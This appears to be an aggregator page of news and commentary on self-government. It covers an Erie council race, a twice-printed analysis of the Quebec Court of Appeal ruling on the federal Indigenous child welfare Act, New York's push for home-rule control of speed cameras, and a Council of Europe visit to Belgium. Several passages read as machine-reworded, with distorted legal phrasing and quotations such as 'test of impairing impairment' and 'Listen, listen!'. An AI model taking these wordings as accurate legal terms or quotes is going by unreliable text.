Haverkate’s and Sawusch’s responses both called for the development of Erie, which would also encourage Erie residents to work and spend money in their hometown instead of commuting.

Baer was also in favor of focusing on developing Erie to increase revenue, but stressed the need to also take care of the small businesses that already exist in Erie. Hoback agreed, citing the need to reinvest all revenue back into the city.

Van Woudenburg echoed similar beliefs regarding increased income, but specifically detailed the need for affordable housing options in the city.

“People who work in Erie deserve to live here. The key to attracting primary jobs is to provide housing opportunities for people who should be working in these businesses,” he said.

Residents also submitted questions to candidates about their views on oil and gas, diversity, traffic congestion, open spaces, and maintaining the delicate balance between commercial development and the natural beauty of Erie.

To hear all the contestants’ questions and answers, visit bit.ly/3D8gkHh.

Erie’s municipal election is scheduled for April 5. All ballots have been mailed to registered voters.

read more
Sovereignty

Self-Government in Peril: Commentary on the Quebec Court of Appeal’s Reference to An Act Respecting First Nations, Inuit and Métis Children, Youth and Families – Indigenous peoples

The Quebec Court of Appeal has obstructed the federal government’s efforts to address the overrepresentation of Indigenous children in the child and youth protection system. On February 10, 2022, the Court ruled that key sections of the federal government An Act respecting First Nations, Inuit and Métis children, youth and families (there “Law“) were unconstitutional. Law aims to ensure that Indigenous children receive a minimum level of services and enables Indigenous governing bodies to develop child protection solutions. Although the Court concluded that there is an “Aboriginal right” to self-government in child and family services, affirmed by section 35 of the Canadian Constitution (theConstitution“), the Court invalidated Articles 21 and 22(3) of the Law who provided
real self-determination on these issues. The Court’s decision leaves us with a contradiction: it affirms the existence of the right of Aboriginal self-government but annuls the provisions of the Law which has made it possible to exercise this right in a meaningful way.

A look at the Law

The Law was developed jointly by the federal government and Indigenous partners and came into force on January 1, 2020. It seeks to affirm the right of Indigenous peoples to exercise jurisdiction over child and family services and, by extension , to pursue the implementation of the United Nations Declaration on the Rights of Indigenous Peoples (“UNDRIP“) in Canada.
Law also establishes “national standards” that guarantee a minimum level of services for all Aboriginal children.

Under the Law, Aboriginal governing bodies can either pass their own laws regarding child and family services or seek to enter into a coordination agreement with the federal and provincial governments. Prior to the Court’s decision, Sections 21 and 22(3) provided that Indigenous laws passed under a coordination agreement had the same force of law as federal laws and prevailed over any conflicting or inconsistent provisions of the laws. applicable federal or provincial authorities.

Controversy

Two weeks after its entry into force, the Government of Quebec is asking its Court of Appeal to rule on the question of whether the
Law is unconstitutional. The Attorney General of Quebec argued that the Law undermines the province’s general jurisdiction over child welfare and unilaterally alters the scope of section 35, threatening the structure of the Constitution. Canada responded that issues under the Law falls within the broad reach of the federal government’s authority over Aboriginal peoples under section 91(24) of the Constitution and that the LawThe interpretation of section 35 is consistent with case law.

Constitutionality of the Law

The Court’s constitutional analysis focused on two elements: the constitutionality of national standards and the right of Aboriginal peoples to self-government in the regulation of child and family services. The Court concluded the Law is constitutional, with the exception of sections 21 and 22(3).

On the first element, the Court held that subsection 91(24) grants the federal government jurisdiction over the welfare of Indigenous peoples and their interpersonal relationships. The
Law fully falls within this jurisdiction because its purpose is to “[ensure] the well-being of [Indigenous] children, promoting culturally appropriate services to reduce their overrepresentation in provincial child welfare systems” (para. 34). The Court also concluded that the Law does not dictate how provinces should provide child and family services in Indigenous spaces, as national standards are consistent with provincial child welfare legislation.

Ultimately, Quebec’s position that the Lawcontrary to the principles of federalism and democracy was rejected.

The Court’s assessment of the second element concluded that Aboriginal peoples have always maintained a form of self-government arising from original sovereignty. The Court traced the historic right to self-government, holding that the Law is compatible with the notion of Canadian sovereignty, because the record shows no proof of the extinction of the aboriginal right. Linking the law to child and family services, the Court said that:

“The central purpose of s. 35 is to achieve reconciliation and preserve constitutional space for Indigenous peoples to enable them to live as peoples – with their own identities, cultures and values ​​– within the Canadian framework As a normative system, Indigenous customary law relating to children and the family is part of these values, and the child and the family are the main vehicle for transmitting the markers of Indigenous identity. regulation of child and family services by Aboriginal people themselves cannot be divorced from their Aboriginal identity and cultural development” (at para. 48).

The Indigenous right to self-government in child and family services is not distinguished by the division of powers between federal and provincial – it extends to all Indigenous peoples because of its importance for cultural continuity and survival.

Deletion of sections 21 and 22(3)

Despite the general constitutionality of the Law, the Court identified problems with Articles 21 and 22(3). Together, the two provisions allowed Indigenous laws developed under coordination agreements to have the same status as federal legislation and the legislative primacy of those laws over provincial legislation. The Court found that it was unconstitutional because it changed the architecture of the Constitution and it was not within the jurisdiction of the federal government to allow Indigenous laws to prevail over conflicting provincial laws. This principle – known as “federal paramountcy” – applies only to validly enacted federal laws.

Furthermore, the federal government did not have the power under the Constitution to give absolute priority to an Aboriginal right under section 35. The constitutional principle of coordinated governments prevents the federal government from legislating over all aspects of provincial relations with Aboriginal peoples. In the future, provincial legislation cannot supersede legislation that an Indigenous governing body has enacted pursuant to its Aboriginal right of self-government over child and family services, unless the regime provincial legislation fails to meet the long-standing section 35 test of impairing impairment and reconciliation.

Without the application of sections 21 and 22(3), there remains no apparent incentive for Aboriginal governing bodies to negotiate or enter into coordination agreements. Indigenous governing bodies may choose to simply notify the federal and provincial governments of their intention to exercise legislative authority over child and family services.

One step forward, two steps back

The Court of Appeal’s decision is riddled with contradictions that run counter to the advancement of Aboriginal self-government. On the one hand, the Court pointed out that the parliamentary intention behind the Law was “clearly intended to break with the past” by providing Aboriginal peoples with the “flexibility and functional independence” to choose their own solutions (at paras. 17 and 18). The decision confirmed that Indigenous communities can create their own legislation to protect and improve the lives of Indigenous children. The Court also noted that the legislative process behind the Law was guided by UNDRIP and that at the international level, UNDRIP affirms the existence of the right to indigenous self-determination. By affirming an Indigenous right to self-government in child and family services, both presently and historically, the Court made its decision consistent with UNDRIP. On the other hand, the Court invalidated the very provisions conferring the primacy and real self-determination, which aligned with the principles of UNDRIP and marked a break with the past.

Reactions to the decision were equally divided. In a joint press release, the Assembly of First Nations Quebec-Labrador and the First Nations of Quebec and Labrador Health and Social Services Commission (“FNQLHSSC“) declared that their First Nations communities will exercise their legislative and inherent right to implement their own child welfare legislation. On January 17, 2022, the Opitciwan Atikamekw Social Protection Act (the Atikamekw d’Opitciwan Social Protection Act) came into force and about fifteen communities will follow in its footsteps. The Chairman of the FNQLHSSC Board of Directors, Derek Montour, stated that they ask the Government of Quebec to actively collaborate with their communities and organizations for an optimal application of Bill C-92 and the adoption of Indigenous laws. . It is likely that a negotiated approach to the implementation of Indigenous child welfare laws will be the best approach to ensuring the well-being of Indigenous children.

Where does that leave aboriginal self-government? A decision rendered on appeal from outside the province is, at best, persuasive to British Columbia courts. It is also likely that an application for leave to appeal will be made to the Supreme Court of Canada. Indigenous Services Minister Patty Hadju said Ottawa is committed to upholding its Indigenous Child Welfare Act and will work to ensure First Nations self-reliance in child welfare. native childhood, but time will tell. Stay tuned for future updates on this decision and its treatment.

The content of this article is intended to provide a general guide on the subject. Specialist advice should be sought regarding your particular situation.

read more
Self government

Self-government in Peril: Commentary on the Quebec Court of Appeal’s Reference to An Act Respecting First Nations, Inuit and Métis Children, Youth and Families – Government, public sector

The Quebec Court of Appeal has obstructed the federal government’s efforts to address the overrepresentation of Indigenous children in the child and youth protection system. On February 10, 2022, the Court ruled that key sections of the federal government An Act respecting First Nations, Inuit and Métis children, youth and families (the “Act“) were unconstitutional. Act aims to ensure that Indigenous children receive a minimum level of services and enables Indigenous governing bodies to develop child protection solutions. Although the Court concluded that there is an “Aboriginal right” to self-government in child and family services, affirmed by section 35 of the Canadian Constitution (theConstitution“), the Court invalidated Articles 21 and 22(3) of the Act who provided
real self-determination on these issues. The Court’s decision leaves us with a contradiction: it affirms the existence of the right of Aboriginal self-government but annuls the provisions of the Act which has made it possible to exercise this right in a meaningful way.

A look at the Act

the Act was jointly developed by the federal government and Indigenous partners and came into effect on January 1, 2020. It seeks to affirm the right of Indigenous peoples to exercise jurisdiction over child and family services and, by extension, the implementation of the United Nations Declaration on the Rights of Indigenous Peoples (“UNDRIP“) in Canada. the
Act also establishes “national standards” that guarantee a minimum level of services for all Aboriginal children.

Under the Act, Aboriginal governing bodies can either pass their own laws regarding child and family services or seek to enter into a coordination agreement with the federal and provincial governments. Prior to the Court’s decision, Sections 21 and 22(3) provided that Indigenous laws passed under a coordination agreement had the same force of law as federal laws and prevailed over any conflicting or inconsistent provisions of the laws. applicable federal or provincial authorities.

Controversy

Two weeks after its entry into force, the Government of Quebec is asking its Court of Appeal to rule on the question of whether the
Act is unconstitutional. The Attorney General of Quebec argued that the Act undermines the province’s general jurisdiction over child welfare and unilaterally alters the scope of section 35, threatening the structure of the Constitution. Canada responded that issues under the Act falls within the broad reach of the federal government’s authority over Aboriginal peoples under section 91(24) of the Constitution and that the ActThe interpretation of section 35 is consistent with case law.

Constitutionality of the Act

The Court’s constitutional analysis focused on two elements: the constitutionality of national standards and the Aboriginal right to self-government in the regulation of child and family services. The Court concluded the Act is constitutional, with the exception of sections 21 and 22(3).

On the first element, the Court held that subsection 91(24) grants the federal government jurisdiction over the welfare of Indigenous peoples and their interpersonal relationships. the
Act fully falls within this jurisdiction because its purpose is to “[ensure] the well-being of [Indigenous] children, promoting culturally appropriate services to reduce their overrepresentation in provincial child welfare systems” (para. 34). The Court also concluded that the Act does not dictate how provinces are to provide child and family services in Indigenous spaces, as national standards are consistent with provincial child welfare legislation.

Ultimately, Quebec’s position that the Actcontrary to the principles of federalism and democracy was rejected.

The Court’s assessment of the second element concluded that Aboriginal peoples have always maintained a form of self-government arising from original sovereignty. The Court traced the historic right to self-government, holding that the Act is compatible with the notion of Canadian sovereignty, because the record shows no proof of the extinction of the aboriginal right. Linking the law to child and family services, the Court said that:

“The central purpose of s. 35 is to achieve reconciliation and preserve constitutional space for Indigenous peoples to enable them to live as peoples – with their own identities, cultures and values ​​– within the Canadian framework As a normative system, Indigenous customary law relating to children and the family is part of these values, and the child and the family are the main vehicle for transmitting markers of Indigenous identity. regulation of child and family services by Aboriginal people themselves cannot be divorced from their Aboriginal identity and cultural development” (at para. 48).

The Indigenous right to self-government in child and family services is not distinguished by the federal-provincial division of powers – it extends to all Indigenous peoples because of its importance for cultural continuity and survival.

Deletion of sections 21 and 22(3)

Despite the general constitutionality of the Act, the Court identified problems with Articles 21 and 22(3). Together, the two provisions allowed Indigenous laws developed under coordination agreements to have the same status as federal legislation and the legislative primacy of such laws over provincial legislation. The Court found that it was unconstitutional because it changed the architecture of the Constitution and it was not within the jurisdiction of the federal government to allow Indigenous laws to prevail over conflicting provincial laws. This principle – known as “federal paramountcy” – applies only to validly enacted federal laws.

Furthermore, the federal government did not have the power under the Constitution to give absolute priority to an Aboriginal right under section 35. The constitutional principle of coordinated governments prevents the federal government from legislating over all aspects of provincial relations with Aboriginal peoples. In the future, provincial legislation cannot supersede legislation that an Indigenous governing body has enacted pursuant to its Aboriginal right of self-government over child and family services, unless the regime provincial legislation fails to meet the long-standing section 35 test of impairing impairment and reconciliation.

Without the application of sections 21 and 22(3), there remains no apparent incentive for Aboriginal governing bodies to negotiate or enter into coordination agreements. Indigenous governing bodies may choose to simply notify the federal and provincial governments of their intention to exercise legislative authority over child and family services.

One step forward, two steps back

The Court of Appeal’s decision is riddled with contradictions that run counter to the advancement of Aboriginal self-government. On the one hand, the Court pointed out that the parliamentary intention behind the Act was “clearly intended to break with the past” by providing Aboriginal peoples with the “flexibility and functional independence” to choose their own solutions (at paras. 17 and 18). The decision confirmed that Indigenous communities can create their own legislation to protect and improve the lives of Indigenous children. The Court also noted that the legislative process behind the Act was guided by UNDRIP and that at the international level, UNDRIP affirms the existence of the right to indigenous self-determination. By affirming an Indigenous right to self-government in child and family services, both presently and historically, the Court made its decision consistent with UNDRIP. On the other hand, the Court invalidated the very provisions conferring the primacy and real self-determination, which aligned with the principles of UNDRIP and marked a break with the past.

Reactions to the decision were equally divided. In one joint press releasethe Assembly of First Nations Quebec-Labrador and the First Nations of Quebec and Labrador Health and Social Services Commission (“FNQLHSSC“) declared that their First Nations communities will exercise their legislative and inherent right to implement their own child welfare legislation. On January 17, 2022, the Opitciwan Atikamekw Social Protection Act (the Act respecting the social protection of the Atikamekw of Opitciwan) came into force and about fifteen communities will follow in its footsteps. The Chairman of the FNQLHSSC Board of Directors, Derek Montour, stated that they ask the Government of Quebec to actively collaborate with their communities and organizations for an optimal application of Bill C-92 and the adoption of Indigenous laws. . It is likely that a negotiated approach to the implementation of Indigenous child welfare laws will be the best approach to ensuring the well-being of Indigenous children.

Where does that leave aboriginal self-government? A decision rendered on appeal from outside the province is, at best, persuasive to British Columbia courts. It is also likely that an application for leave to appeal will be made to the Supreme Court of Canada. Indigenous Services Minister Patty Hadju saidthat Ottawa is committed to upholding its Indigenous Child Welfare Act and will work to ensure autonomy for First Nations people in Indigenous Child Welfare, but time will tell. Stay tuned for future updates on this decision and its treatment.

The content of this article is intended to provide a general guide on the subject. Specialist advice should be sought regarding your particular situation.

read more
Home rule

Lawmakers consider Adams’ speed camera ‘rule of the house’ request

In an effort to reduce traffic and pedestrian deaths, Mayor Eric Adams is asking state lawmakers to give him more power in the placement of red lights and speed cameras throughout the city.

Although his call for changes to criminal justice reforms has received a lot of attention, Mayor Adams’ push for greater autonomy for traffic law enforcement has largely flown under the radar.

“If our streets aren’t safe, our city isn’t safe. Period,” the mayor tweeted last week. “Home Rule empowers the people who know our city best with the tools to keep our streets safe for every New Yorker.”


What do you want to know

  • Among Mayor Adams’ many demands of Albany this year is New York’s ability to run its own speed and red light cameras.
  • Speed ​​camera pilot program expires this year
  • Currently, Albany imposes strict limits on the city’s use of speed cameras and red light cameras.

Advocates say more needs to be done to prevent road deaths.

“Last year was the deadliest year on our streets since the launch of Vision Zero,” said Danny Harris, executive director of advocacy group Transportation Alternatives. “And this year, we are already on the page to have an even more deadly year. Road fatalities have increased by almost 60% compared to the same period last year. New York City is facing an epidemic of road rage in every corner of the city. »

Former Mayor Bill de Blasio launched the “Vision Zero” program to reduce pedestrian accidents. And during his first year in office, Albany implemented the speed camera program that automatically issues speeding tickets in certain school zones.

This pilot program of radars must still be renewed this year. It’s currently limited to 2,000 cameras in 750 school zones across the city. And the cameras turn off completely at night and on weekends.

The red-light camera program has been around for decades, but remains limited to just one percent of the city’s intersections.

Critics of the current program say it’s time for Albany to give the city authority over these programs and the ability to set its own speed limits.

“It makes no sense that Albany has to dictate to New York City how they can enforce their traffic laws, what their speed limits can be, where to put cameras and other enforcement options. This is nonsense,” said State Senator Andrew Gounardes of Brooklyn.

But in some neighborhoods the cameras are very unpopular. Frank Morano, who chairs Community Board 3 in Staten Island, says his board has received many complaints from drivers.

“People don’t like them. And I say that for various reasons. First, it has nothing to do with security. It has everything to do with the city getting revenue,” he said.

Governor Kathy Hochul also supported autonomy, advocates say. They would like to see this done as part of the budget due later this month, but it could also be done as stand-alone legislation outside of the budget process.

read more
Home rule

Amid rising road deaths, New York officials amplify push for ‘home rule’

A new report showing a disturbing rise in red-light violations and traffic deaths on New York City streets has become the latest ammunition for local lawmakers in their effort to crack down on the city’s traffic control cameras. from Albany. The report, released Friday by street safety advocacy group Transportation Alternatives, shows more road deaths were recorded last month than in February since at least 2008. Red light violations also hit a seven-year high – the trends, according to the group, are directly linked to “the deadly impact of Albany’s control on the streets of New York”.

City lawmakers have for years lamented the state government’s stranglehold on New York City rules and regulations on a range of issues, most recently in a debate over the mayor’s control of schools in the city. Currently, the city must seek permission from the state legislature to install red light cameras and speed cameras. During the final months of Mayor Bill de Blasio’s tenure, he fought for more jurisdiction over traffic control mechanisms, including allowing speed cameras to be turned on 24 hours a day. Mayor Eric Adams also seeks permission to “manage the city’s camera enforcement programs in addition to empowering cities to enforce speed limits on their streets,” he said during testimony on the proposal. Governor Kathy Hochul’s budget statement before the state legislature last month. In response to Friday’s report Adams tweeted: “If our streets aren’t safe, our city isn’t safe. Period. Home Rule empowers the people who know our city best with the tools to keep our streets safe for every New Yorker.

The report contains the latest data showing an alarming spike in road deaths in New York City in 2021. Crashes killed 273 people in 2021, the highest death toll since 2013, according to Transportation Alternatives. Already, 42 people have died in traffic collisions in 2022, a 58% increase from the same time last year. Twenty-three of those deaths were recorded in February alone.

Transportation Alternatives highlighted in its report the correlation between road deaths and disabled speed cameras. In 2020, “nearly 40 percent of victims died in speed camera areas during the hours Albany asks New York City to turn off the cameras,” the report said.

“It shows the importance of designing streets for safety and developing automated enforcement tools that are frankly more effective than using armed police officers,” said Cory Epstein, director of communications for Transportation Alternatives. , at City & State.

New York City Department of Transportation Commissioner Ydanis Rodriguez also highlighted the effectiveness of the city’s speed camera program during a city council hearing on Monday, pointing to statistics that show a 72% decrease in speeding violations in areas where speed cameras have been located during business hours since they were installed in 2014. More than 40% of offenders have vehicles registered outside of New York, Rodriguez said. He closed his testimony before the council’s transportation and infrastructure committee by “joining the mayor in calling on the state to empower the city to run our self-enforcement program.”

If the transfer of autonomy is not part of the state budget due April 1, it will have to be taken up by legislation passed later in the session. To include the policy in the state budget, lawmakers would need to determine the parameters of the city’s jurisdiction over red-light cameras before a House’s budget proposals are due at the end of the month.

State Sen. Andrew Gounardes, who has sponsored legislation to expand the city’s school zone speed camera program, said “it seems more likely that it would be something that could happen outside of the budget,” said he told City & State. Gounardes, along with Assemblywoman Deborah Glick, passed a bill that took effect in 2019 to expand the city’s school zone speed camera program. The bill is up for renewal this session, which Gounardes said might not be necessary if autonomy is transferred to the city first.

“I fully support this call,” Gonardes said of the city’s efforts to take control of traffic cameras. “If for whatever reason we are not successful in governing from home, we will certainly have the opportunity to license the successful programs that have already been put in place and expand them, while continuing to advocate more broadly to leave the New York City control its streets.”

Transportation advocates hope Hochul’s vow to work with Adams – after a lingering power struggle between their predecessors – will help them move toward a “self-reliance” deal this year. “She has a different heritage and history in local government, and we think that’s very promising,” Epstein said.

Hochul expressed openness to the idea in a previous interview with City & State in November, when she said, “Why does the state legislature and governor have to weigh in on having a school district in does New York City have speed cameras or not? in school zones? Tell me why this needs to be relegated to a question that becomes political football at the end of a session in terms of extracting promises, concessions. I don’t want to rule that way.

In addition to his call for home rule, Adams also outlined plans to improve crosswalk safety by redesigning 1,000 intersections with “enhanced traffic signals, raised crosswalks and other safety measures.” ‘expanded pedestrian space and visibility,’ he said Jan. 19 in what was his first major announcement of a street safety policy since taking office. The DOT will also build raised crosswalks at 100 intersections, and the NYPD will step up enforcement of non-surrender violations at crosswalks, Adams said.

read more
Home rule

‘Home Rule’ Rocks Edition – Streetsblog New York City

How many state lawmakers does it take to change a light bulb – er, a speed limit?

Far too many, according to Transportation Alternatives, which argues in a new report that the number should be zero. The report, “‘Home Rule’ Means Safe Streets: The Deadly Impact of Albany’s Control on New York’s Streets” gathers compelling evidence that New Yorkers are dying in traffic violence due to outdated provisions. that allow Albany to restrict the city’s use of crucial street-safety tools.

This is because (as we have repeatedly pointed out in these pages) the legislature will not let the city set its own speed limits or determine the number, location and hours of operation of speed cameras and light cameras. red. It also limits the number of red light cameras and the use of bus lane cameras. Meanwhile, according to TransAlt:

TransAlt wants immediate domestic government and the Legislature to pass the entire eight-bill Accident Victim Rights and Safety Act, so New Yorkers can act quickly to stave off the epidemic of violence road which has made 2021 the deadliest year since the start of Vision Zero. To which we say “Listen, listen!” The Post also covered.

In other news yesterday:

  • How many subway sleepers went to shelters in the first week of Mayor Adams’ crackdown? A total of 22. (NYDN)
  • The subway crime crackdown has resulted in 143 arrests so far. (Brooklyn Eagle)
  • The head of the MTA, for his part, wants the power to ban repeat offenders. (NYDN, amNY)
  • A police chase led to an accident that damaged the facades of two homes on Staten Island. (SILive, plus the Post, following Streetsblog)
  • Brooklyn Paper dwells on the history of the Grand Street Bike Path. U.S. too.
  • Gothamist has made it into the news of LaGuardia’s transit options.
  • Bed-Stuy is appalled by the misogynistic art of this van parked near a school. (Patch)
  • City Limits reported that street vendor ticketing rebounded to pre-pandemic highs (even though enforcement was turned over to the Department of Consumer and Worker Protection) on the same day our Julianne Cuba saw a cop give a ticket to a vendor on the subway at Jackson Heights. Harassment irritated a lotincluding State Senator Jessica Ramos, who tweeted:
  • Finally, RiseNY has dedicated one of its new Times Square exhibits to the 1950s kitchen of Ralph Kramden, the TV sitcom’s most famous city bus driver. (ViaTwitter)

read more
Self government

The Congress assessed the application of the European Charter of Local Self-Government in Belgium

A delegation from the Congress of Local and Regional Authorities, made up of rapporteurs Matthias Gysin (Switzerland, ILDG) and Magnus Berntsson (Sweden, EPP/CCE) carried out the first part of the monitoring visit to Belgium from 8 to 10 March 2022 to assess the implementation of the European Charter of Local Self-Government from the previous follow-up report passed by Congress in 2014.

The rapporteurs had exchanges of views on the latest developments in the field of local self-government in Belgium with representatives of local authorities and regional parliaments, including certain institutions in Brussels. Meetings were planned with Roger Stevens, First President of the Council of State, with representatives of the Constitutional Court as well as with Marc Bertrand, Mediator of Wallonia and the Wallonia-Brussels Federation, Bart Weekers, Mediator of Flanders, Marlene Hardt , Mediator of the German-speaking Community and with Catherine De Bruecker, Mediator of the Brussels-Capital Region.

Meetings also with Liesbeth Homans, President of the Parliament of Flanders, Rudy Demotte, President of the Wallonia-Brussels Federation/Parliament of the French Community as well as with Philippe Close, Mayor of Brussels, Pierre Rolin, Mayor of Rhode-Saint-Genèse, members of the municipal council of Namur and Wim Dries, mayor of Genk and president of the Association of Flemish towns and municipalities (VVSG).

The Congress delegation also met the members of the Belgian national delegation to the Congress and the Presidents of the Association of the city and municipalities of the Brussels-Capital Region, the Cities and Municipalities of Wallonia (UVCW) and the Walloon provinces (APW).

Belgium ratified the European Charter of Local Self-Government in 2004. Countries that have ratified the Charter are bound by its provisions. The Charter requires the implementation of a minimum set of rights which form the essential basis of local self-government in Europe. The Congress of Local and Regional Authorities of the Council of Europe ensures that these principles are respected in the 47 member states of the Council of Europe.

Contact:
Stéphanie POIREL, Secretary of the Monitoring Committee
Congress of Local and Regional Authorities of the Council of Europe
Telephone: +33 (0)3 90 21 51 84
Email: [email protected]

read more